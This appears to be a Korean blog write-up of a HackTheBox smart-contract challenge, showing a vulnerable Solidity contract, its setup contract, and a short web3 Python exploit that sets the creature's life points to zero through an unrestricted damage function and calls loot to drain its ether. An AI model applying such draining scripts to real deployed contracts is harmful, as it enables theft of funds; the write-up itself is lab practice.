Creature.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract Creature {
uint256 public lifePoints;
address public aggro;
constructor() payable {
lifePoints = 20;
}
function strongAttack(uint256 _damage) external{
_dealDamage(_damage);
}
function punch() external {
_dealDamage(1);
}
function loot() external {
require(lifePoints == 0, "Creature is still alive!");
payable(msg.sender).transfer(address(this).balance);
}
function _dealDamage(uint256 _damage) internal {
aggro = msg.sender;
lifePoints -= _damage;
}
}
Setup.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Creature} from "./Creature.sol";
contract Setup {
Creature public immutable TARGET;
constructor() payable {
require(msg.value == 1 ether);
TARGET = new Creature{value: 10}();
}
function isSolved() public view returns (bool) {
return address(TARGET).balance == 0;
}
}
target의 balance를 0으로 만들면 isSolved()를 만족한다. 따라서 loot()를 호출하여 target의 이더를 msg.sender로 다 보내야 하고 이를 위해 lifePoints가 0이어야 한다. 이는 stringAttack으로 수행할 수 있다.
ex.py
from web3 import Web3
import requests
import json
url = "http://94.237.62.149:57086"
info = json.loads(requests.get(url + "/connection_info").content)
privkey = info["PrivateKey"]
target_addr = info["TargetAddress"]
w3 = Web3(Web3.HTTPProvider(url + '/rpc'))
contract = w3.eth.contract(address=target_addr, abi = open("abi.json", "r").read())
contract.functions.strongAttack(20).transact()
assert contract.functions.lifePoints().call() == 0
contract.functions.loot().transact()
print(requests.get(url + '/flag').content.decode())
'wargame' 카테고리의 다른 글
Ethernaut Re-entrancy (feat. 뻘짓) (0) | 2024.07.22 |
---|---|
hackthebox - Honor Among Thieves (1) | 2024.05.15 |
hackthebox - Distract and Destroy (1) | 2024.05.15 |